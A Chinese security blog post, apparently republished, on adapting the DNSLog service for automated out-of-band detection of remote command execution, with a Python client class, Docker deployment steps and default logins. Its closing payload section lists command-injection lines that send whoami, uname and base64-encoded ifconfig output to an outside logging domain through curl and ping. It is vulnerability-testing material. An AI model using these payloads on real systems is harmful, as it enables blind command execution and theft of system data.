DnsLog的改造和自动化调用

2018-01-29 12:41:52来源:http://www.polaris-lab.com/index.php/archives/423/作者:勾陈安全实验室人点击

分享
0x01 DNSlog的改造

一切为了自动化,想要在各种远程命令执行的poc中顺利使用DNSlog,对它进行了改造,新增了三个API接口:


http://127.0.0.1:8000/apilogin/{username}/{password}/
#http://127.0.0.1:8000/apilogin/test/123456/
#登陆以获取token
http://127.0.0.1:8000/apiquery/{logtype}/{subdomain}/{token}/
#http://127.0.0.1:8000/apiquery/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#查询特定域名的某类型记录
http://127.0.0.1:8000/apidel/{logtype}/{udomain}/{token}/
#http://127.0.0.1:8000/apidel/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#删除特定域名的某类型记录

改造后的项目地址: https://github.com/bit4woo/DNSLog


0x02 本地接口类

服务端OK了之后,为了在PoC中快速调用,也在本地实现了一个类:


# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
import hashlib
import time
import requests
import json
class DNSlog():
def __init__(self,subdomain=None):
if subdomain == None:
self.subdomain = hashlib.md5(time.time()).hexdigest()
else:
self.subdomain = subdomain
self.user_host = "test.code2sec.com"
#self.user_host = "127.0.0.1:8000"
self.api_host = "admin.code2sec.com"
#self.api_host = "127.0.0.1:8000"
self.token = ""
self.username= "test"
self.password = "123456"
self.login()
def gen_payload_domain(self):
domain = "{0}.{1}".format(self.subdomain, self.user_host)
return domain
def gen_payload(self):
domain ="{0}.{1}".format(self.subdomain,self.user_host)
poc = "ping -n 3 {0} || ping -c 3 {1}".format(domain, domain)
return poc
def login(self,username=None,password=None):
if username == None:
username = self.username
if password == None:
password = self.password
url = "http://{0}/apilogin/{1}/{2}/".format(self.api_host,username,password)
print("DNSlog Login: {0}".format(url))
response = requests.get(url, timeout=60, verify=False, allow_redirects=False)
if response.status_code ==200:
token = json.loads(response.content)["token"]
self.token = token
return True
else:
print("DNSlog login failed!")
return False
def query(self,subdomain,type="dns",token=None,delay=2):
time.sleep(delay)
if token ==None and self.token != "":
token = self.token
else:
print("Invalid Token!")
return False
if type.lower() in ["dns","web"]:
pass
else:
print("error type")
return False
url = "http://{0}/apiquery/{1}/{2}/{3}/".format(self.api_host,type,subdomain,token)
print("DNSlog Query: {0}".format(url))
try:
rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
return json.loads(rep.content)["status"]
except Exception as e:
return False
def delete(self, subdomain,type="dns", token =None):
if token ==None and self.token != "":
token = self.token
else:
print("Invalid Token!")
return False
if type.lower() in ["dns","web"]:
pass
else:
print("error type")
return False
url = "http://{0}/apidel/{1}/{2}/{3}/".format(self.api_host, type, subdomain, token)
print("DNSlog Delete: {0}".format(url))
try:
rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
return json.loads(rep.content)["status"]
except Exception as e:
return False
if __name__ == "__main__":
x = DNSlog("xxxx")
x.login("test","123456")
x.query("dns","123",x.token)
x.delete("dns","123",x.token)
调用流程:
首先实例化DNSlog类,如果有传入一个字符串,这个字符串将被当作子域名,如果没有将生成一个随机的
调用 gen_payload_domain() 或者 gen_payload() 来返回域名或者"ping -n 3 {0} || ping
-c 3 {1}"格式的payload
调用 login() 接口实现登陆,然后获取token,如果有传入账号和密码,将使用传入的,否则使用默认的
在使用生成的域名或者payload进行检测之前,建议先调用 delete() 来清除域名相关记录,避免误报
PoC中使用payload进行请求
使用 query() 检查DNSlog是否收到该域名的相关请求,有则认为命令执行成功漏洞存在,否则任务不存在。
0x03 使用Docker搭建DnsLog服务器

感谢 草粉师傅 的帮助


域名和配置

搭建并使用 DNSLog,需要拥有两个域名:


1.一个作为 NS 服务器域名(例:polaris-lab.com):在其中设置两条 A 记录指向我们的公网 IP 地址(无需修改DNS服务器,使用运营商默认的就可以了):


ns1.polaris-lab.comA 记录指向10.11.12.13
ns2.polaris-lab.comA 记录指向10.11.12.13

2.一个用于记录域名(例: code2sec.com):修改 code2sec.com 的 NS 记录为 1 中设定的两个域名(无需修改DNS服务器,使用运营商默认的就可以了):


NS*.code2sec.com ns1.polaris-lab.com
NS*.code2sec.com ns2.polaris-lab.com

注意:按照dnslog的说明是修改NS记录,但是自己的部署中修改了好几天之后仍然不正常,就转为修改DNS服务器,而后成功了。修改DNS服务器之后就无需在域名管理页面设置任何DNS记录了,因为这部分是在DNSlog的python代码中实现的。



Docker镜像构造

Dockerfile内容如下:


FROM ubuntu:14.04
RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update -y && apt-get install -y python && apt-get install python-pip -y && apt-get install git -y
RUN git clone https://github.com/bit4woo/DNSLog
WORKDIR /DNSLog/dnslog
RUN pip install -r requirements.pip
COPY ./settings.py /DNSLog/dnslog/dnslog/settings.py
COPY ./start.sh /DNSLog/dnslog/start.sh
RUN chmod +x start.sh
CMD ["./start.sh"]
EXPOSE 80

下载 dnslog/dnslog/settings.py 并对如下字段进行对应的修改,保存settings.py:


# 做 dns 记录的域名
DNS_DOMAIN = 'code2sec.com'
# 记录管理的域名, 这里前缀根据个人喜好来定
ADMIN_DOMAIN = 'admin.code2sec.com'
# NS域名
NS1_DOMAIN = 'ns1.polaris-lab.com'
NS2_DOMAIN = 'ns2.polaris-lab.com'
# 服务器外网地址
SERVER_IP = '10.11.12.13'

创建一个dnslog的启动脚本,保存为start.sh:


#!/bin/bash
python manage.py runserver 0.0.0.0:80

准备好如上3个文件后,可以构建镜像了


docker build .
docker tag e99c409f6585 bit4/dnslog
docker run -d -it -p 80:80 -p 53:53/udp bit4/dnslog
#注意这个53udp端口,感谢CF_HB师傅的指导
docker exec -it container_ID_or_name /bin/bash
./start.sh
配置验证

使用nslookup命令进行验证,如果可以直接测试xxx.test.code2sec.com了,说明所有配置已经全部生效;如果直接查询失败,而指定了dns服务器为 ns1.polsris-lab.com查询成功,说明dns服务器配置正确了,但是ns记录的设置需要等待同步或者配置错误。


nslookup
xxx.test.code2sec.com
server ns1.polaris-lab.com
yyy.test.code2sec.com

当然,在查询的同时可以登录网页端配合查看,是否收到请求。


在我自己的部署中,发现修改ns记录很久后仍然不能直接查询到 xxx.test.code2sec.com,想到NS记录配置和DNS服务器设置都是修改解析的域名的服务器配置,就尝试修改了DNS服务器为 ns1.polaris-lab.com, 结果就一切正常了。


管理网站

后台地址: http://code2sec.com/admin/ admin admin


用户地址: http://admin.code2sec.com/ test 123456


更多详细问题参考项目: https://github.com/BugScanTeam/DNSLog


记得修改默认的账号密码!


0x04 Payload使用技巧
用 || 兼容windows和linux
ipconfig || ifconfig
#||是或逻辑, 如果第一个命令执行成功,将不会执行第二个;而如果第一个执行失败,将会执行第二个。
使用实例:
ping -n 3 xxx.test.code2sec.com || ping -c 3 xxx.test.code2sec.com
命令优先执行
%OS%
#windows的系统变量,用set命令可以查看所有可用的变量名称
`whomai`
#linux下的命令优先执行,注意是反引号(`)这个字符一般在键盘的左上角,数字1的左边
测试效果如下:
root@ubuntu:~# echo `whoami`@bit4
root@bit4
E:/>echo %OS%@bit4
Windows_NT@bit4
使用实例:
curl "http://xxx.test.code2sec.com/?`whoami`"
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com
#DNS记录中获取源IP地址


消除空格
id|base64
使用实例:
curl test.code2sec.com/`ifconfig|base64 -w 0`
#-w 0 输出内容不换行,推荐这个方法
curl test.code2sec.com/`ifconfig|base64|tr '/n' '-'`
#将换行符替换为-,这个方法不是很方便,解密的时候还需要替换回来


window下的curl
start http://xxxxxxxxx.test.code2sec.com
#该命令的作用是通过默认浏览器打开网站,缺点是会打开窗口
常用Payload汇总
#1.判断系统类型
ping `uname`.code2sec.com || ping %OS%.code2sec.com
#2.通用ping,dns类型payload
ping -n 3 xxx.code2sec.com || ping -c 3 xxx.code2sec.com
C:/Windows/System32/cmd.exe /c "ping -n 3 test.com || ping -c 3 test.com"
/bin/bash -c "ping -n 3 test.com || ping -c 3 test.com"
#3.从DNS记录中获取源IP地址
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com
#4.获取命令结果
curl test.code2sec.com/`ifconfig|base64 -w 0`

最新文章

123

最新摄影

闪念基因

微信扫一扫

第七城市微信公众平台